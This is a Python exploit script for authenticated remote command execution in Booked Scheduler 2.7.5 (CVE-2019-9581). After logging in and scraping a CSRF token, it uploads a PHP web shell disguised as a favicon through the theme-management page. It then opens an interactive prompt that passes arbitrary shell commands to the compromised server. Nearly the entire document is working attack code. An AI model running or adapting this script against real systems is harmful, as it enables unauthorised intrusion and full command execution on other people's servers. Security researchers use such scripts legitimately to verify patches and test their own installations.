# Exploit Title: Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated)
# Vulnerability founder: AkkuS
# Date: 13/12/2021
# Exploit Author: 0sunday
# Vendor Homepage: https://www.bookedscheduler.com/
# Software Link: N/A
# Version: Booked Scheduler 2.7.5
# Tester on: Kali 2021.2
# CVE: CVE-2019-9581

#!/usr/bin/python3

import sys
import requests
from random import randint


def login():
  login_payload = {
    "email": username,
    "password": password,
    "login": "submit",
    #"language": "en_us"
  }

  login_req = request.post(
     target+"/booked/Web/index.php",
     login_payload,
     verify=False,
     allow_redirects=True
   )

  if login_req.status_code == 200:
    print ("[+] Logged in successfully.")
  else:
    print ("[-] Wrong credentials !")
    exit()


  return login_req.text.split('CSRF_TOKEN" value=')[1].split(";")[0].split('/')[0].split('"')[1]



def upload_shell(csrf):

  boundary = str(randint(123456789012345678901234567890, 999999999999999999999999999999))

  _headers ={ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
        "Accept-Language": "en-US,en;q=0.5",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "multipart/form-data; boundary=---------------------------"+boundary,
        "Origin": target,
        "Connection": "close",
        "Referer": target + "/booked/Web/admin/manage_theme.php?update"

        }

  data =  "-----------------------------"+boundary+"\r\n"
  data += "Content-Disposition: form-data; name=\"LOGO_FILE\"\r\n\n\n"
  data += "-----------------------------"+boundary+"\r\n"
  data += "Content-Disposition: form-data; name=\"FAVICON_FILE\"; filename=\"simple_shell.php\"\r\n"
  data += "Content-Type: application/x-php\r\n\n"
  data += "<?php $o = system($_REQUEST[\"cmd\"]);die?>\r\n\n"
  data += "-----------------------------"+boundary+"\r\n"
  data += "Content-Disposition: form-data; name=\"CSS_FILE\"\r\n\n\n"
  data += "-----------------------------"+boundary+"\r\n"
  data += "Content-Disposition: form-data; name=\"CSRF_TOKEN\"\r\n\n"
  data += csrf + "\r\n"
  data += "-----------------------------"+boundary+"--\r\n"

  # In case you need some debugging
  _proxies = {
    'http': 'http://127.0.0.1:8080'
  }

  upload_req = request.post(
     target+"/booked/Web/admin/manage_theme.php?action=update",
     headers = _headers,
     data = data
     #proxies=_proxies
     )


def shell():
  shell_req = request.get(target+"/booked/Web/custom-favicon.php")

  if shell_req.status_code == 200:

    print("[+] Uploaded shell successfully")
    print("[+] " + target + "/booked/Web/custom-favicon.php?cmd=")
  else:
    print("[-] Shell uploading failed")
    exit(1)

  print()
  cmd = ''
  while(cmd != 'exit'):
    cmd = input("$ ")
    shell_req = request.get(target+"/booked/Web/custom-favicon.php" + '?cmd='+cmd)
    print(shell_req.text)


if len(sys.argv) != 4:
    print ("[+] Usage : "+ sys.argv[0] + " https://target:port username password")
    exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]


request = requests.session()

csrf = login()
upload_shell(csrf)
shell()